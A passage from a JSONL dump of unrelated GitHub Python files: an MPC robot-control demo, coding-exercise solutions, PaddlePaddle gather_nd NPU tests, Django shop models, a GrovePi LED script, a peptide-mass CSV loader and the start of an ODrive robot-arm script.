@ con\n else:\n print(\"error\")\n sys.exit(1)\n\n return cost_fn\n\n def _constraint_equations(self, x: ca.SX, u: ca.SX, p: ca.SX) -> ca.SX:\n \"\"\"Compute the constraint equations in terms of the symbolic variables.\n\n In total there are n_states * (n_la + 1) constraints, divided into two types:\n 1. initial constraint: x[:, 0] = st_ini, the current pose of the vehicle;\n 2. kinematic constraints: x[:, i+1] = f(x[:, i], u[:, i]), for i = 0, ...,\n n_la-1, where\n f(.) is the discretized evolution equation that describes the pose at the\n next step given\n the current pose and velocity control.\n\n Args:\n x (ca.SX): symbolic state matrix\n u (ca.SX): symbolic control matrix\n p (ca.SX): symbolic paramters vector\n\n Returns:\n ca.SX: symbolic vector representing the constraint equations\n \"\"\"\n\n # initial constraint\n g = x[:, 0] - p[: self._n_states]\n\n robot = RobotModel()\n\n # kinematic constraints\n for k in range(self._n_la):\n st = x[:, k]\n con = u[:, k]\n st_next = x[:, k + 1]\n st_next_rk = robot.update_state(st, con, dt=self._dt)\n g = ca.vertcat(g, st_next - st_next_rk)\n return g\n\n def _get_bounds(self):\n # initialize to zero\n lbx = ca.DM.zeros(\n (self._n_states * (self._n_la + 1) + self._n_controls * self._n_la, 1)\n )\n ubx = ca.DM.zeros(\n (self._n_states * (self._n_la + 1) + self._n_controls * self._n_la, 1)\n )\n\n # lower bounds for x, y, and yaw, respectively\n lbx[0 : self._n_states * (self._n_la + 1) : self._n_states] = -ca.inf\n lbx[1 : self._n_states * (self._n_la + 1) : self._n_states] = -ca.inf\n lbx[2 : self._n_states * (self._n_la + 1) : self._n_states] = -ca.inf\n\n # upper bounds for x, y, and yaw, respectively\n ubx[0 : self._n_states * (self._n_la + 1) : self._n_states] = ca.inf\n ubx[1 : self._n_states * (self._n_la + 1) : self._n_states] = ca.inf\n ubx[2 : self._n_states * (self._n_la + 1) : self._n_states] = ca.inf\n\n # Control bounds\n v_max = 0.6\n v_min = -v_max\n omega_max = ca.pi / 4\n omega_min = -omega_max\n\n lbx[self._n_states * (self._n_la + 1) :: self._n_controls] = v_min\n lbx[self._n_states * (self._n_la + 1) + 1 :: self._n_controls] = omega_min\n ubx[self._n_states * (self._n_la + 1) :: self._n_controls] = v_max\n ubx[self._n_states * (self._n_la + 1) + 1 :: self._n_controls] = omega_max\n\n args = {\n \"lbg\": ca.DM.zeros(\n (self._n_states * (self._n_la + 1), 1)\n ), # constraints lower bound\n \"ubg\": ca.DM.zeros(\n (self._n_states * (self._n_la + 1), 1)\n ), # constraints upper bound\n \"lbx\": lbx,\n \"ubx\": ubx,\n }\n\n return args\n\n def _get_nlp_args(self, x, u, x_ref):\n \"\"\"\n Compute dictionary with MPC arguments used by the NLP solver.\n\n X_ref(:, 0) = st_i is not an optimization variable. st_i != X(:, 0)\n It is needed to compute P\n\n Args:\n X (_type_): _description_\n U (_type_): _description_\n X_ref (_type_): _description_\n \"\"\"\n\n # initial conditions for decision variables (states + controls)\n x0 = ca.vertcat(\n ca.reshape(x, self._n_states * (self._n_la + 1), 1),\n ca.reshape(u, self._n_controls * self._n_la, 1),\n )\n\n # Initialize vectors with lower and upper bound for the optimization variables\n lbx = ca.DM.zeros(\n (self._n_states * (self._n_la + 1) + self._n_controls * self._n_la, 1)\n )\n ubx = ca.DM.zeros(\n (self._n_states * (self._n_la + 1) + self._n_controls * self._n_la, 1)\n )\n\n # lower bounds for the 2d pose (x, y, yaw)\n lbx[0 : self._n_states * (self._n_la + 1) : self._n_states] = -ca.inf\n lbx[1 : self._n_states * (self._n_la + 1) : self._n_states] = -ca.inf\n lbx[2 : self._n_states * (self._n_la + 1) : self._n_states] = -ca.inf\n\n # upper bounds for the 2d pose\n ubx[0 : self._n_states * (self._n_la + 1) : self._n_states] = ca.inf\n ubx[1 : self._n_states * (self._n_la + 1) : self._n_states] = ca.inf\n ubx[2 : self._n_states * (self._n_la + 1) : self._n_states] = ca.inf\n\n # Define some kinematic constants\n # TODO: define these some place else\n lin_vel_max = 2.0 # Max linear velocity [m/s]\n lin_vel_min = -lin_vel_max # Min linear velocity [m/s]\n ang_vel_max = math.pi / 4.0 # Max angular velocity [rad/s]\n ang_vel_min = -ang_vel_max # Min angular velocity [rad/s]\n v_min = lin_vel_min\n v_max = lin_vel_max\n omega_min = ang_vel_min\n omega_max = ang_vel_max\n\n # lower bounds for the controls (v, omega)\n lbx[self._n_states * (self._n_la + 1) :: self._n_controls] = v_min\n lbx[self._n_states * (self._n_la + 1) + 1 :: self._n_controls] = omega_min\n\n # upper bounds for the controls\n ubx[self._n_states * (self._n_la + 1) :: self._n_controls] = v_max\n ubx[self._n_states * (self._n_la + 1) + 1 :: self._n_controls] = omega_max\n\n p = ca.reshape(x_ref, self._n_states * (self._n_la + 1), 1)\n\n args = {\n \"x0\": x0,\n \"lbx\": lbx,\n \"ubx\": ubx,\n \"p\": p,\n \"lbg\": ca.DM.zeros((self._n_states * (self._n_la + 1), 1)),\n \"ubg\": ca.DM.zeros((self._n_states * (self._n_la + 1), 1)),\n }\n\n return args\n\n\nclass RobotModel:\n def __init__(self) -> None:\n self._type = \"differential_drive\"\n\n def update_state(self, st, con, dt):\n state = ca.vertcat(ca.SX.sym(\"x\"), ca.SX.sym(\"y\"), ca.SX.sym(\"theta\"))\n control = ca.vertcat(ca.SX.sym(\"v\"), ca.SX.sym(\"omega\"))\n f = self._differential_drive(state, control)\n\n k1 = f(st, con)\n k2 = f(st + k1 * dt / 2.0, con)\n k3 = f(st + k2 * dt / 2.0, con)\n k4 = f(st + k3 * dt, con)\n\n st_next = st + (k1 + 2.0 * k2 + 2.0 * k3 + k4) * dt / 6.0\n return st_next\n\n def _differential_drive(self, st, con):\n yaw = st[2]\n v = con[0]\n omega = con[1]\n\n # dx/dt, dy/dt, dyaw/dt\n rhs = ca.vertcat(v * ca.cos(yaw), v * ca.sin(yaw), omega)\n return ca.Function(\"f\", [st, con], [rhs])\n\n def _mecanum_whell(self, states, controls):\n \"\"\"Mecanum wheel transfer function which can be found here:\n https://www.researchgate.net/publication/334319114_Model_Predictive_Control_for_a_Mecanum-wheeled_robot_in_Dynamical_Environments\n\n Returns:\n [type]: [description]\n \"\"\"\n\n theta = states[2]\n\n # Robot specs\n # rob_diam = 0.3 # diameter of the robot\n wheel_radius = 1 # wheel radius\n Lx = 0.3 # L in J Matrix (half robot x-axis length)\n Ly = 0.3 # l in J Matrix (half robot y-axis length)\n\n # discretization model (e.g. x2 = f(x1, v, t) = x1 + v * dt)\n rot_3d_z = ca.vertcat(\n ca.horzcat(ca.cos(theta), -ca.sin(theta), 0),\n ca.horzcat(ca.sin(theta), ca.cos(theta), 0),\n ca.horzcat(0, 0, 1),\n )\n J = (wheel_radius / 4) * ca.DM(\n [\n [1, 1, 1, 1],\n [-1, 1, 1, -1],\n [-1 / (Lx + Ly), 1 / (Lx + Ly), -1 / (Lx + Ly), 1 / (Lx + Ly)],\n ]\n )\n # RHS = states + J @ controls * step_horizon # Euler discretization\n RHS = rot_3d_z @ J @ controls\n # maps controls from [va, vb, vc, vd].T to [vx, vy, omega].T\n f = ca.Function(\"f\", [states, controls], [RHS])\n\n return f\n\n\nclass Simulation:\n def __init__(self, n_la: int, dt: float, max_sim_time=200) -> None:\n\n self._n_la = n_la\n self._dt = dt\n self._max_sim_time = max_sim_time\n\n self._n_states = 3\n self._n_controls = 2\n\n def run_point_stabilization(self, initial_pose: list, target_pose: list):\n\n current_state = ca.DM(initial_pose)\n target_state = ca.DM(target_pose)\n\n # initialize the decision variables\n # TODO: rename\n initial_states = ca.repmat(current_state, 1, self._n_la + 1)\n initial_controls = ca.DM.zeros((self._n_controls, self._n_la))\n\n # history variables\n # TODO: rename\n cat_states = to_array(initial_states)\n cat_controls = to_array(initial_controls[:, 0])\n times = np.array([[0]])\n\n # simulation state\n mpc_iter = 0\n\n solver = Solver(self._n_la, self._dt)\n\n # start a chronometer to time the whole loop\n main_loop = time() # return time in sec\n\n goal_reached = False\n\n while mpc_iter * self._dt < self._max_sim_time:\n if self._is_goal_reached(current_state, target_state):\n goal_reached = True\n break\n\n # start a chronometer to time one iteration\n t1 = time()\n\n initial_conditions = ca.vertcat(\n ca.reshape(initial_states, self._n_states * (self._n_la + 1), 1),\n ca.reshape(initial_controls, self._n_controls * self._n_la, 1),\n )\n parameters_vec = ca.vertcat(current_state, target_state)\n\n solver.reset()\n solver.solve(initial_conditions, parameters_vec)\n opt_states = solver._opt_states\n opt_controls = solver._opt_controls\n\n # update history variables (for simulation)\n cat_states = np.dstack((cat_states, to_array(opt_states)))\n cat_controls = np.vstack((cat_controls, to_array(opt_controls[:, 0])))\n times = np.vstack((times, time() - t1))\n\n # update the state of the vehicle using it's current pose and optimal control\n current_state = self._update_state(current_state, opt_controls[:, 0])\n # update the initial conditions\n initial_states, initial_controls = self._update_initial_conditions(\n opt_states, opt_controls\n )\n\n mpc_iter += mpc_iter\n\n main_loop_time = time()\n ss_error = ca.norm_2(current_state - target_state)\n\n print(\"\\n\\n\")\n if not goal_reached:\n print(\"Simulation timeout\")\n print(\"Total time: \", main_loop_time - main_loop)\n print(\"avg iteration time: \", np.array(times).mean() * 1000, \"ms\")\n print(\"final error: \", ss_error)\n\n # show results\n # simulate(\n # cat_states,\n # cat_controls,\n # times,\n # self._dt,\n # self._n_la,\n # np.asarray(initial_pose + target_pose),\n # save=False,\n # )\n\n self._show(cat_states, cat_controls, times, np.asarray(initial_pose + target_pose))\n\n def _is_goal_reached(self, current_state, target_state, tol=1e-1):\n return ca.norm_2(current_state - target_state) < tol\n\n def _update_state(self, st, con):\n robot = RobotModel()\n # TODO: add noise\n st_next = robot.update_state(st, con, self._dt)\n\n return st_next\n\n def _update_initial_conditions(self, states, controls):\n\n states = ca.horzcat(states[:, 1:], ca.reshape(states[:, -1], -1, 1))\n controls = ca.horzcat(controls[:, 1:], ca.reshape(controls[:, -1], -1, 1))\n\n return states, controls\n\n def _show(self, cat_states, cat_controls, t, reference, save=False):\n\n def create_triangle(state=[0, 0, 0], h=1, w=0.5, update=False):\n x, y, th = state\n triangle = np.array([[h, 0], [0, w / 2], [0, -w / 2], [h, 0]]).T\n rotation_matrix = np.array([[np.cos(th), -np.sin(th)], [np.sin(th), np.cos(th)]])\n\n coords = np.array([[x, y]]) + (rotation_matrix @ triangle).T\n if update:\n return coords\n else:\n return coords[:3, :]\n\n def init():\n return (\n path,\n horizon,\n current_state,\n target_state,\n )\n\n def animate(i):\n # get variables\n x = cat_states[0, 0, i]\n y = cat_states[1, 0, i]\n th = cat_states[2, 0, i]\n\n # update path\n if i == 0:\n path.set_data(np.array([]), np.array([]))\n x_new = np.hstack((path.get_xdata(), x))\n y_new = np.hstack((path.get_ydata(), y))\n path.set_data(x_new, y_new)\n\n # update horizon\n x_new = cat_states[0, :, i]\n y_new = cat_states[1, :, i]\n horizon.set_data(x_new, y_new)\n\n # update current_state\n current_state.set_xy(create_triangle([x, y, th], update=True))\n\n # update target_state\n # xy = target_state.get_xy()\n # target_state.set_xy(xy)\n\n return (\n path,\n horizon,\n current_state,\n target_state,\n )\n\n # create figure and axes\n fig, ax = plt.subplots(figsize=(6, 6))\n min_scale = min(reference[0], reference[1], reference[3], reference[4]) - 2\n max_scale = max(reference[0], reference[1], reference[3], reference[4]) + 2\n ax.set_xlim(left=min_scale, right=max_scale)\n ax.set_ylim(bottom=min_scale, top=max_scale)\n\n # create lines:\n # path\n (path,) = ax.plot([], [], \"k\", linewidth=2)\n # horizon\n (horizon,) = ax.plot([], [], \"x-g\", alpha=0.5)\n # current_state\n current_triangle = create_triangle(reference[:3])\n current_state = ax.fill(current_triangle[:, 0], current_triangle[:, 1], color=\"r\")\n current_state = current_state[0]\n # target_state\n target_triangle = create_triangle(reference[3:])\n target_state = ax.fill(target_triangle[:, 0], target_triangle[:, 1], color=\"b\")\n target_state = target_state[0]\n\n sim = animation.FuncAnimation(\n fig=fig,\n func=animate,\n init_func=init,\n frames=len(t),\n interval=self._dt * 100,\n blit=True,\n repeat=True,\n )\n plt.show()\n\n if save:\n sim.save(\"./animation\" + str(time()) + \".gif\", writer=\"ffmpeg\", fps=30)\n\n return\n","repo_name":"fchibana/mpc-demo-py","sub_path":"mpc_demo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":21529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16555993462","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n \nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n # head에 요소가 없을 경우 none 출력\n if not head:\n return None\n \n new_list = head\n prev = None\n \n while True:\n next_element = new_list.next\n new_list.next = prev\n prev = new_list\n new_list = next_element\n \n # head의 끝에 도달했을 때 break\n if not new_list:\n break\n\n return prev\n ","repo_name":"junhong625/MOCOCO","sub_path":"[2주차] 연결리스트(LinkdedList)/[LeetCode 206번] Reverse Linked List/유다윗_반복문 활용.py","file_name":"유다윗_반복문 활용.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"44016167274","text":"from collections import defaultdict\n\ndef closestNumber(arr: list[int]) -> list[int]:\n arr.sort()\n difference_map = defaultdict(list)\n min_diff = float('inf')\n\n for i in range(1, len(arr)):\n difference = arr[i] - arr[i - 1]\n difference_map[difference].extend([arr[i - 1], arr[i]])\n min_diff = min(min_diff, difference)\n\n return difference_map[min_diff]\n\n\nprint(closestNumber([5,4,3,2])) # [2,3,3,4,4,5]\nprint(closestNumber([-20, -3916237, -357920, -3620601, 7374819, -7330761, 30, 6246457, -6461594, 266854, -520, -470 ])) # [-520, -470, -20, 30]\n","repo_name":"NickArakaki/ds-a-practice","sub_path":"HackerRank/ClosestNumbers.py","file_name":"ClosestNumbers.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16835374317","text":"from __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport sys\nsys.path.append(\"..\")\nfrom op_test import OpTest\nimport paddle.fluid as fluid\nimport paddle\n\n\ndef gather_nd_grad(x, index):\n dout_shape = index.shape[:-1] + x.shape[index.shape[-1]:]\n numel = 1\n for i in dout_shape:\n numel = numel * i\n dout = np.full(dout_shape, 1. / numel)\n dx = np.full_like(x, 0)\n\n index = tuple(index.reshape(-1, index.shape[-1]).T)\n np.add.at(dx, index, dout)\n\n return dx\n\n\ndef test_class1(op_type, typename):\n class TestGatherNdOpWithEmptyIndex(OpTest):\n #Index has empty element, which means copy entire tensor\n\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n xnp = np.random.random((5, 20)).astype(typename)\n self.inputs = {\n 'X': xnp,\n 'Index': np.array([[], []]).astype(\"int32\")\n }\n self.outputs = {\n 'Out': np.vstack((xnp[np.newaxis, :], xnp[np.newaxis, :]))\n }\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(self.place, ['X'], 'Out')\n\n cls_name = \"{0}_{1}_1\".format(op_type, typename)\n TestGatherNdOpWithEmptyIndex.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpWithEmptyIndex\n\n\ndef test_class2(op_type, typename):\n class TestGatherNdOpWithIndex1(OpTest):\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n xnp = np.random.random((5, 20)).astype(typename)\n self.inputs = {'X': xnp, 'Index': np.array([1]).astype(\"int32\")}\n self.outputs = {'Out': self.inputs[\"X\"][self.inputs[\"Index\"]]}\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(self.place, ['X'], 'Out')\n\n cls_name = \"{0}_{1}_2\".format(op_type, typename)\n TestGatherNdOpWithIndex1.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpWithIndex1\n\n\ndef test_class3(op_type, typename):\n class TestGatherNdOpWithLowIndex(OpTest):\n #Index has low rank, X has high rank\n\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n xnp = np.random.uniform(0, 100, (10, 10)).astype(typename)\n index = np.array([[1], [2]]).astype(\"int64\")\n\n self.inputs = {'X': xnp, 'Index': index}\n self.outputs = {'Out': xnp[tuple(index.T)]}\n self.x_grad = gather_nd_grad(xnp, index)\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(\n self.place, ['X'], 'Out', user_defined_grads=[self.x_grad])\n\n cls_name = \"{0}_{1}_3\".format(op_type, typename)\n TestGatherNdOpWithLowIndex.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpWithLowIndex\n\n\ndef test_class4(op_type, typename):\n class TestGatherNdOpIndex1(OpTest):\n #Index has low rank, X has high rank\n\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n xnp = np.random.uniform(0, 100, (10, 10)).astype(typename)\n index = np.array([1, 2]).astype(\"int64\")\n\n self.inputs = {'X': xnp, 'Index': index}\n\n self.outputs = {'Out': xnp[tuple(index.T)]}\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(self.place, ['X'], 'Out')\n\n cls_name = \"{0}_{1}_4\".format(op_type, typename)\n TestGatherNdOpIndex1.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpIndex1\n\n\ndef test_class5(op_type, typename):\n class TestGatherNdOpWithSameIndexAsX(OpTest):\n #Index has same rank as X's rank\n\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n xnp = np.random.uniform(0, 100, (10, 10)).astype(typename)\n index = np.array([[1, 1], [2, 1]]).astype(\"int64\")\n\n self.inputs = {'X': xnp, 'Index': index}\n self.outputs = {'Out': xnp[tuple(index.T)]} #[25, 22]\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(self.place, ['X'], 'Out')\n\n cls_name = \"{0}_{1}_5\".format(op_type, typename)\n TestGatherNdOpWithSameIndexAsX.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpWithSameIndexAsX\n\n\ndef test_class6(op_type, typename):\n class TestGatherNdOpWithHighRankSame(OpTest):\n #Both Index and X have high rank, and Rank(Index) = Rank(X)\n\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n shape = (5, 2, 3, 1, 10)\n xnp = np.random.rand(*shape).astype(typename)\n index = np.vstack([np.random.randint(\n 0, s, size=2) for s in shape]).T\n\n self.inputs = {'X': xnp, 'Index': index.astype(\"int32\")}\n self.outputs = {'Out': xnp[tuple(index.T)]}\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(self.place, ['X'], 'Out')\n\n cls_name = \"{0}_{1}_6\".format(op_type, typename)\n TestGatherNdOpWithHighRankSame.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpWithHighRankSame\n\n\ndef test_class7(op_type, typename):\n class TestGatherNdOpWithHighRankDiff(OpTest):\n #Both Index and X have high rank, Rank(Index) < Rank(X)\n\n def setUp(self):\n self.set_npu()\n self.place = paddle.NPUPlace(0)\n self.op_type = \"gather_nd\"\n shape = (2, 3, 4, 1, 10)\n xnp = np.random.rand(*shape).astype(typename)\n index = np.vstack(\n [np.random.randint(\n 0, s, size=200) for s in shape]).T\n index_re = index.reshape([20, 5, 2, 5])\n\n self.inputs = {'X': xnp, 'Index': index_re.astype(\"int32\")}\n self.outputs = {'Out': xnp[tuple(index.T)].reshape([20, 5, 2])}\n\n def set_npu(self):\n self.__class__.use_npu = True\n\n def test_check_output(self):\n self.check_output_with_place(self.place)\n\n def test_check_grad(self):\n if typename == \"float16\" or typename == \"int64\":\n self.__class__.no_need_check_grad = True\n else:\n self.check_grad_with_place(self.place, ['X'], 'Out')\n\n cls_name = \"{0}_{1}_7\".format(op_type, typename)\n TestGatherNdOpWithHighRankDiff.__name__ = cls_name\n globals()[cls_name] = TestGatherNdOpWithHighRankDiff\n\n\nclass TestGatherNdAPI(unittest.TestCase):\n def test_imperative(self):\n paddle.disable_static()\n input_1 = np.array([[1, 2], [3, 4], [5, 6]])\n index_1 = np.array([[1]])\n input = fluid.dygraph.to_variable(input_1)\n index = fluid.dygraph.to_variable(index_1)\n output = paddle.fluid.layers.gather(input, index)\n output_np = output.numpy()\n expected_output = np.array([3, 4])\n self.assertTrue(np.allclose(output_np, expected_output))\n paddle.enable_static()\n\n\nfor _typename in {'float16', 'float32', 'int64'}:\n test_class1('gather_nd', _typename)\n test_class2('gather_nd', _typename)\n test_class3('gather_nd', _typename)\n test_class4('gather_nd', _typename)\n test_class5('gather_nd', _typename)\n test_class6('gather_nd', _typename)\n test_class7('gather_nd', _typename)\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"EnnSou/ooss-paddle2.3","sub_path":"python/paddle/fluid/tests/unittests/npu/test_gather_nd_op_npu.py","file_name":"test_gather_nd_op_npu.py","file_ext":"py","file_size_in_byte":9317,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"6075820770","text":"data = [int(x.rstrip()) for x in open('data.txt', 'r')]\ndata.sort()\n\ndata.insert(0,0) #start at the outlet (0)\ndata.append(data[-1] +3) #end at the device (+3 from last adapter)\nones = 0\nthrees = 0\n\nfor i in range(len(data) - 1):\n diff = data[i + 1] - data[i]\n if diff == 1: ones += 1\n if diff == 3: threes += 1\n\nprint(ones * threes)\n","repo_name":"gbuser/aoc2020","sub_path":"2020.10.1.py","file_name":"2020.10.1.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"12999092538","text":"import sys\nsys.stdin = open(\"D2_11608_input.txt\", \"r\")\n\ndef solve(idx, total):\n global ans\n if idx == N:\n if ans > total:\n ans = total\n if total > ans:\n return\n for i in range(N):\n if not chk[i]:\n chk[i] = 1\n solve(idx + 1, total + data[idx][i])\n chk[i] = 0\n\nT = int(input())\nfor test_case in range(T):\n N = int(input())\n data = [list(map(int, input().split())) for _ in range(N)]\n chk = [0] * N\n ans = float('inf')\n solve(0, 0)\n print(\"#{} {}\".format(test_case + 1, ans))","repo_name":"hongyong3/TIL","sub_path":"Algorithm/Swea/D2_11608.py","file_name":"D2_11608.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15208682750","text":"from django.db import models\n\n# Create your models here.\nclass Shop(models.Model):\n name = models.CharField(max_length=200, db_index=True)\n address = models.CharField(max_length=200)\n rating = models.CharField(max_length=200)\n slug = models.SlugField(max_length=200, db_index=True, unique=True)\n\n class Meta:\n ordering = ('name',)\n verbose_name = 'Магазин'\n verbose_name_plural = 'Магазины'\n\n def __str__(self):\n return self.name\n\n\nclass Category(models.Model):\n shop = models.ForeignKey(Shop, on_delete=models.PROTECT, related_name='category')\n name = models.CharField(max_length=200, db_index=True)\n slug = models.SlugField(max_length=200, db_index=True, unique=True)\n\n class Meta:\n ordering = ('name',)\n verbose_name = 'Категория'\n verbose_name_plural = 'Категории'\n\n def __str__(self):\n return self.name\n\n\nclass Product(models.Model):\n category = models.ForeignKey(Category, on_delete=models.PROTECT, related_name='products')\n name = models.CharField(max_length=200, db_index=True)\n slug = models.SlugField(max_length=200, db_index=True)\n description = models.TextField(blank=True)\n price = models.DecimalField(max_digits=10, decimal_places=2)\n stock = models.PositiveIntegerField()\n available = models.BooleanField(default=True)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n update_counter = models.PositiveIntegerField()\n\n class Meta:\n ordering = ('name',)\n index_together = (('id', 'slug'),)\n\n def __str__(self):\n return self.name\n","repo_name":"Gaarmr/test_tasks","sub_path":"seiko_labs/seiko_labs_shop/eshop/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37437070037","text":"from grovepi import *\nimport time\n\n\ndef moreLight(lA, gLed, bLed, rLed):\n analogWrite(gLed, lA)\n analogWrite(bLed, lA)\n analogWrite(rLed, lA)\n time.sleep(5)\n digitalWrite(gLed,0)\n digitalWrite(bLed,0)\n digitalWrite(rLed,0)\n \n","repo_name":"clausdimon/RaspPI4GrovePi","sub_path":"Opgave 2/enoughLight.py","file_name":"enoughLight.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21881663529","text":"import csv\r\n\r\nfile = open('MassData.csv')\r\nreader = csv.reader(file)\r\nMassArray = list(reader)\r\nfile.close()\r\nMassArray = MassArray[::2] #formatting requirement\r\ndel(MassArray[13500]) #added for database consistency\r\n\r\nfile = open('SequenceData.csv')\r\nreader = csv.reader(file)\r\nSequenceArray = list(reader)\r\nfile.close()\r\nSequenceArray = SequenceArray[::2] #formatting requirement\r\ndel(SequenceArray[13500])\r\n\r\nMassData = []\r\nfor element1 in MassArray: #or loop to create float based storage type\r\n MassData.append([])\r\n for element2 in element1:\r\n if float(element2) <= 3200:\r\n MassData[-1].append(float(element2))\r\n\r\nSequenceData = []\r\nfor index1 in range(len(SequenceArray)):\r\n SequenceData.append([])\r\n for index2 in range(len(SequenceArray[index1])):\r\n if float(MassArray[index1][index2]) < 3200:\r\n SequenceData[-1].append(SequenceArray[index1][index2].replace(\" \", \"\"))\r\n\r\nfile = open('TestInput.csv')\r\nreader = csv.reader(file)\r\npeak_temp = list(reader)\r\npeaks = []\r\nfor element in peak_temp: #this for loop is for formating, each element of peak has to be converted to float 52.34 from an string array ['52.34']\r\n if float(element[0]) < 3200:\r\n peaks.append(float(element[0]))\r\n\r\nfile2 = open('Protein_List.csv')\r\nreader2 = csv.reader(file2)\r\nProteinList = list(reader2)\r\nfile2.close()\r\ndel(ProteinList[13500]) #added for database consistency\r\n\r\n\"\"\"file2 = open('frequencychart.csv')\r\nreader2 = csv.reader(file2)\r\nfrequencychart = list(reader2)\r\nfile2.close()\r\nfrequencychart = frequencychart[::2]\r\ndel(frequencychart[13500])\"\"\"\r\n\r\nfile2 = open('sortedMassDatatrunc.csv')\r\nreader2 = csv.reader(file2)\r\nsortedMassData_temp = list(reader2)\r\nfile2.close()\r\nsortedMassData_temp = sortedMassData_temp[::2]\r\n\r\nsortedMassData = []\r\nfor element in sortedMassData_temp: #loop to create float based storage type\r\n sortedMassData.append([float(element[0]), int(element[1]), int(element[2])])\r\n\r\nfile = open('CHO_Proteome.csv')\r\nreader = csv.reader(file)\r\nProteome_temp = list(reader)\r\nfile.close()\r\n\r\nProteome = []\r\nfor protein in ProteinList:\r\n for element in Proteome_temp:\r\n if element[0] == protein[0]:\r\n Proteome.append(element[1])\r\n break\r\nN = len(ProteinList)\r\nfor i in reversed(range(N)):\r\n if MassData[i] == []:\r\n del(ProteinList[i])\r\n del(MassData[i])\r\n del(SequenceData[i])\r\n del(Proteome[i])\r\n\r\nprint (\"CSV Data Ready\")\r\n","repo_name":"garvitgoel/masters-thesis-peptide-mass-fingerprinting-algorithm","sub_path":"Ancillary Code/CSVDataCreator.py","file_name":"CSVDataCreator.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36124320452","text":"import odrive\r\nimport time\r\nimport serial\r\nimport pyfirmata\r\nimport degrees_calc as dc\r\nfrom odrive.enums import *\r\n\r\nport = 0\r\n\r\narduino_board = pyfirmata.Arduino(f'/dev/ttyACM{str(port)}')\r\n\r\nit = pyfirmata.util.Iterator(arduino_board)\r\nit.start()\r\n\r\ntime.sleep(5)\r\n\r\n# board with axis 1, 2\r\nboard_1_num = '20873592524B'\r\n\r\n# board with axis 3, 4\r\nboard_2_num = '387F37573437'\r\n\r\n# board with axis 5, 6\r\nboard_3_num = '207D37A53548'\r\n\r\ndefault_vel_limit = 250000\r\ntraj_accel_limit = 30000\r\ntraj_decel_limit = 50000\r\ntraj_vel_limit = 0.9 * default_vel_limit\r\n\r\nodrive_1 = 0\r\nodrive_2 = 0\r\nodrive_3 = 0\r\n\r\nj1_pos = []\r\nj2_pos = []\r\nj3_pos = []\r\nj4_pos = []\r\nj5_pos = []\r\nj6_pos = []\r\n\r\nodrive_boards = [odrive_1, odrive_2, odrive_3]\r\n\r\njoint_1_max = 180\r\njoint_1_rest_pos = 90\r\njoint_1_home_pos 